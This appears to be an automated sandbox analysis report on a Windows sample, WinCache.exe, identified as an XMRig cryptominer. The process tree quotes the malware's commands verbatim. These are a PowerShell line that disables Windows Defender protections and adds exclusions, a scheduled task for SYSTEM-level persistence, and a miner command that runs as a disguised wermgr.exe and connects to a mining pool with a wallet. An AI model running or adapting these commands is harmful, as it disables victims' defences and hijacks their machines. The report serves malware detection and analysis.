Analysis

  • max time kernel
    900s
  • max time network
    538s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 12:10

General

  • Target
    WinCache.exe
  • Size 10.7MB
  • Sample260819-pcdstaap4v
  • SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
  • XMRig Miner payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\WinCache.exe
    "C:\Users\Admin\AppData\Local\Temp\WinCache.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:5048
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks.exe /Delete /TN "ShizoWorker" /F
      2⤵
        PID:1772
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5416
      • C:\Windows\System32\wermgr.exe
        "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
        2⤵
          PID:4884
        • C:\Windows\System32\wermgr.exe
          "C:\Windows\System32\wermgr.exe" 4884 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
          2⤵
            PID:4092
          • C:\Windows\System32\wermgr.exe
            "C:\Windows\System32\wermgr.exe" 4884 4092
            2⤵
              PID:4568
          • C:\ProgramData\WinCache\WinCache.exe
            "C:\ProgramData\WinCache\WinCache.exe"
            1⤵
            • Modifies Windows Defender Real-time Protection settings
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2664
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks.exe /Delete /TN "ShizoWorker" /F
              2⤵
                PID:4592
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4124
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5436
              • C:\Windows\System32\wermgr.exe
                "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
                2⤵
                  PID:6028
                • C:\Windows\System32\wermgr.exe
                  "C:\Windows\System32\wermgr.exe" 6028 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
                  2⤵
                    PID:5276
                  • C:\Windows\System32\wermgr.exe
                    "C:\Windows\System32\wermgr.exe" 6028 5276
                    2⤵
                      PID:3208
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:5876
                    • C:\Windows\System32\SecurityHealthHost.exe
                      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                      1⤵
                        PID:1152

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            WinCache.exe

                            • Path C:\ProgramData\WinCache\WinCache.exe
                            • Size 10.7MB
                            • SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            StartupProfileData-NonInteractive

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                            • MD5 SHA1 SHA512 TLSH

                            __PSScriptPolicyTest_5o1bnym0.jjy.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5o1bnym0.jjy.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH

                            memory/2664-81-0x00007FF608280000-0x00007FF608CF2000-memory.dmp

                            memory/3208-61-0x0000000140000000-0x0000000140065000-memory.dmp

                            memory/5048-133-0x00007FF7E9130000-0x00007FF7E9BA2000-memory.dmp

                            memory/5276-42-0x0000000140000000-0x000000014006D000-memory.dmp

                            memory/5416-16-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-9-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-13-0x000002172F600000-0x000002172F61E000-memory.dmp

                            memory/5416-14-0x000002172F8B0000-0x000002172F962000-memory.dmp

                            memory/5416-15-0x000002172F5F0000-0x000002172F5FA000-memory.dmp

                            memory/5416-0-0x00007FF9C3B7F000-0x00007FF9C3B80000-memory.dmp

                            memory/5416-17-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-18-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-19-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-10-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-20-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-23-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-7-0x000002172F430000-0x000002172F452000-memory.dmp

                            memory/5416-29-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-1-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-8-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-4-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/5416-3-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

                            memory/6028-30-0x0000000140000000-0x000000014090D000-memory.dmp